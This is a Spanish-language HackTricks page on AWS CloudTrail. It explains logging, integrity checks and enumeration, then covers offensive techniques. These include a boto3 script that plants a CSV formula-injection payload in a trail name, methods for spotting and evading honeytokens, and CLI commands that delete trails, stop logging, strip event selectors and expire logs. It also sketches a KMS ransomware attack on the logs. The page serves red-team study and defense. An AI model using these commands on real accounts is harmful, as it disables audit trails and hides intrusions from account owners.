AWS - CloudTrail Enum
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
CloudTrail
AWS CloudTrail registra y monitorea la actividad dentro de tu entorno AWS. Captura registros de eventos detallados, incluyendo quién hizo qué, cuándo y desde dónde, para todas las interacciones con los recursos de AWS. Esto proporciona un rastro de auditoría de cambios y acciones, ayudando en el análisis de seguridad, auditoría de cumplimiento y seguimiento de cambios en los recursos. CloudTrail es esencial para entender el comportamiento de usuarios y recursos, mejorar las posturas de seguridad y asegurar el cumplimiento regulatorio.
Cada evento registrado contiene:
- El nombre de la API llamada:
eventName - El servicio llamado:
eventSource - La hora:
eventTime - La dirección IP:
SourceIPAddress - El método del agente:
userAgent. Ejemplos: - Signing.amazonaws.com - Desde la Consola de Administración de AWS
- console.amazonaws.com - Usuario root de la cuenta
- lambda.amazonaws.com - AWS Lambda
- Los parámetros de la solicitud:
requestParameters - Los elementos de la respuesta:
responseElements
Los eventos se escriben en un nuevo archivo de registro aproximadamente cada 5 minutos en un archivo JSON, son retenidos por CloudTrail y finalmente, los archivos de registro son entregados a S3 aproximadamente 15 minutos después.
Los registros de CloudTrail pueden ser agregados a través de cuentas y regiones.
CloudTrail permite usar la integridad del archivo de registro para poder verificar que tus archivos de registro no han cambiado desde que CloudTrail te los entregó. Crea un hash SHA-256 de los registros dentro de un archivo de resumen. Un hash sha-256 de los nuevos registros se crea cada hora.
Al crear un Trail, los selectores de eventos te permitirán indicar el tipo de registro: eventos de gestión, de datos o de información.
Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tienen acceso a él, pero para mayor seguridad puedes usar SSE con KMS y tus propias claves.
Los registros se almacenan en un bucket de S3 con este formato de nombre:
BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD- Siendo el BucketName:
aws-cloudtrail-logs-<accountid>-<random> - Ejemplo:
aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/
Dentro de cada carpeta, cada registro tendrá un nombre siguiendo este formato: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz
Convención de Nombres de Archivos de Registro
.png)
Además, los archivos de resumen (para verificar la integridad del archivo) estarán dentro del mismo bucket en:
.png)
Agregar Registros de Múltiples Cuentas
- Crea un Trail en la cuenta de AWS donde deseas que se entreguen los archivos de registro
- Aplica permisos al bucket de S3 de destino permitiendo el acceso entre cuentas para CloudTrail y permite a cada cuenta de AWS que necesite acceso
- Crea un nuevo Trail en las otras cuentas de AWS y selecciona usar el bucket creado en el paso 1
Sin embargo, incluso si puedes guardar todos los registros en el mismo bucket de S3, no puedes agregar registros de CloudTrail de múltiples cuentas en un CloudWatch Logs perteneciente a una sola cuenta de AWS.
Caution
Recuerda que una cuenta puede tener diferentes Trails de CloudTrail habilitados almacenando los mismos (o diferentes) registros en diferentes buckets.
CloudTrail de todas las cuentas de la organización en 1
Al crear un CloudTrail, es posible indicar que se active CloudTrail para todas las cuentas en la organización y obtener los registros en solo 1 bucket:
.png)
De esta manera, puedes configurar fácilmente CloudTrail en todas las regiones de todas las cuentas y centralizar los registros en 1 cuenta (que deberías proteger).
Verificación de Archivos de Registro
Puedes verificar que los registros no han sido alterados ejecutando
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
Logs to CloudWatch
CloudTrail puede enviar automáticamente registros a CloudWatch para que puedas establecer alertas que te adviertan cuando se realicen actividades sospechosas.
Ten en cuenta que para permitir que CloudTrail envíe los registros a CloudWatch, se necesita crear un rol que permita esa acción. Si es posible, se recomienda usar el rol predeterminado de AWS para realizar estas acciones. Este rol permitirá a CloudTrail:
- CreateLogStream: Esto permite crear flujos de registro de CloudWatch Logs
- PutLogEvents: Entregar registros de CloudTrail al flujo de registro de CloudWatch Logs
Event History
El Historial de Eventos de CloudTrail te permite inspeccionar en una tabla los registros que han sido grabados:
.png)
Insights
CloudTrail Insights analiza automáticamente los eventos de gestión de escritura de los senderos de CloudTrail y te alerta sobre actividades inusuales. Por ejemplo, si hay un aumento en los eventos de TerminateInstance que difiere de las líneas base establecidas, lo verás como un evento de Insight. Estos eventos hacen que encontrar y responder a actividades inusuales de API sea más fácil que nunca.
Los insights se almacenan en el mismo bucket que los registros de CloudTrail en: BucketName/AWSLogs/AccountID/CloudTrail-Insight
Security
| Control Name | Implementation Details |
|---|---|
| CloudTrail Log File Integrity |
|
| Stop unauthorized access |
|
| Prevent log files from being deleted |
|
Access Advisor
AWS Access Advisor se basa en los últimos 400 días de registros de AWS CloudTrail para recopilar sus insights. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para mostrar cuándo se accedió por última vez a los servicios. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre refinar permisos, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales.
Tip
Por lo tanto, Access Advisor informa sobre los permisos innecesarios que se están otorgando a los usuarios para que el administrador pueda eliminarlos
.png)
Actions
Enumeration
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>
# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
Inyección CSV
Es posible realizar una inyección CVS dentro de CloudTrail que ejecutará código arbitrario si los registros se exportan en CSV y se abren con Excel.
El siguiente código generará una entrada de registro con un nombre de Trail incorrecto que contiene la carga útil:
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
Para más información sobre inyecciones CSV, consulta la página:
Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks
Para más información sobre esta técnica específica, consulta https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/
Evasión de Detección
Evasión de HoneyTokens
Los Honeytokens se crean para detectar la exfiltración de información sensible. En el caso de AWS, son claves de AWS cuyo uso se monitorea, si algo activa una acción con esa clave, entonces alguien debe haber robado esa clave.
Sin embargo, los Honeytokens como los creados por Canarytokens, SpaceCrab, SpaceSiren están utilizando un nombre de cuenta reconocible o usando el mismo ID de cuenta de AWS para todos sus clientes. Por lo tanto, si puedes obtener el nombre de la cuenta y/o el ID de la cuenta sin hacer que Cloudtrail genere ningún registro, podrías saber si la clave es un honeytoken o no.
Pacu tiene algunas reglas para detectar si una clave pertenece a Canarytokens, SpaceCrab, SpaceSiren:
- Si
canarytokens.orgaparece en el nombre del rol o el ID de cuenta534261010715aparece en el mensaje de error. - Probándolos más recientemente, están usando la cuenta
717712589309y aún tiene la cadenacanarytokens.comen el nombre. - Si
SpaceCrabaparece en el nombre del rol en el mensaje de error. - SpaceSiren utiliza uuids para generar nombres de usuario:
[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12} - Si el nombre parece generado aleatoriamente, hay altas probabilidades de que sea un HoneyToken.
Obtener el ID de cuenta del ID de clave
Puedes obtener el ID de Cuenta del codificado dentro de la clave de acceso como se explica aquí y verificar el ID de cuenta con tu lista de cuentas de Honeytokens de AWS:
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
Consulta más información en la investigación original.
No generar un log
La técnica más efectiva para esto es en realidad una simple. Solo usa la clave que acabas de encontrar para acceder a algún servicio dentro de tu propia cuenta de atacante. Esto hará que CloudTrail genere un log dentro de TU PROPIA cuenta de AWS y no dentro de las víctimas.
La cuestión es que la salida te mostrará un error indicando el ID de la cuenta y el nombre de la cuenta, así que podrás ver si es un Honeytoken.
Servicios de AWS sin logs
En el pasado había algunos servicios de AWS que no envían logs a CloudTrail (encuentra una lista aquí). Algunos de esos servicios responderán con un error que contiene el ARN del rol de la clave si alguien no autorizado (la clave honeytoken) intenta acceder a él.
De esta manera, un atacante puede obtener el ARN de la clave sin activar ningún log. En el ARN, el atacante puede ver el ID de la cuenta de AWS y el nombre, es fácil conocer el ID y los nombres de las cuentas de las empresas del HoneyToken, así que de esta manera un atacante puede identificar si el token es un HoneyToken.
.png)
Caution
Ten en cuenta que todas las API públicas descubiertas que no estaban creando logs de CloudTrail ahora están arregladas, así que tal vez necesites encontrar las tuyas…
Para más información consulta la investigación original.
Accediendo a Infraestructura de Terceros
Ciertos servicios de AWS generarán alguna infraestructura como Bases de Datos o clústeres de Kubernetes (EKS). Un usuario hablando directamente con esos servicios (como la API de Kubernetes) no utilizará la API de AWS, por lo que CloudTrail no podrá ver esta comunicación.
Por lo tanto, un usuario con acceso a EKS que haya descubierto la URL de la API de EKS podría generar un token localmente y hablar con el servicio de API directamente sin ser detectado por CloudTrail.
Más información en:
Modificando la Configuración de CloudTrail
Eliminar trails
aws cloudtrail delete-trail --name [trail-name]
Detener rastros
aws cloudtrail stop-logging --name [trail-name]
Desactivar el registro en múltiples regiones
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
Desactivar el registro mediante selectores de eventos
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
En el primer ejemplo, se proporciona un único selector de eventos como un array JSON con un solo objeto. El "ReadWriteType": "ReadOnly" indica que el selector de eventos solo debe capturar eventos de solo lectura (por lo que CloudTrail insights no estará verificando eventos de escritura, por ejemplo).
Puedes personalizar el selector de eventos según tus requisitos específicos.
Eliminación de registros a través de la política de ciclo de vida de S3
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
Modificando la Configuración del Bucket
- Eliminar el bucket S3
- Cambiar la política del bucket para denegar cualquier escritura del servicio CloudTrail
- Agregar una política de ciclo de vida al bucket S3 para eliminar objetos
- Deshabilitar la clave KMS utilizada para cifrar los registros de CloudTrail
Ransomware de Cloudtrail
Ransomware S3
Podrías generar una clave asimétrica y hacer que CloudTrail cifre los datos con esa clave y eliminar la clave privada para que el contenido de CloudTrail no pueda ser recuperado.
Esto es básicamente un ransomware S3-KMS explicado en:
Ransomware KMS
Esta es una forma más fácil de realizar el ataque anterior con diferentes requisitos de permisos:
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

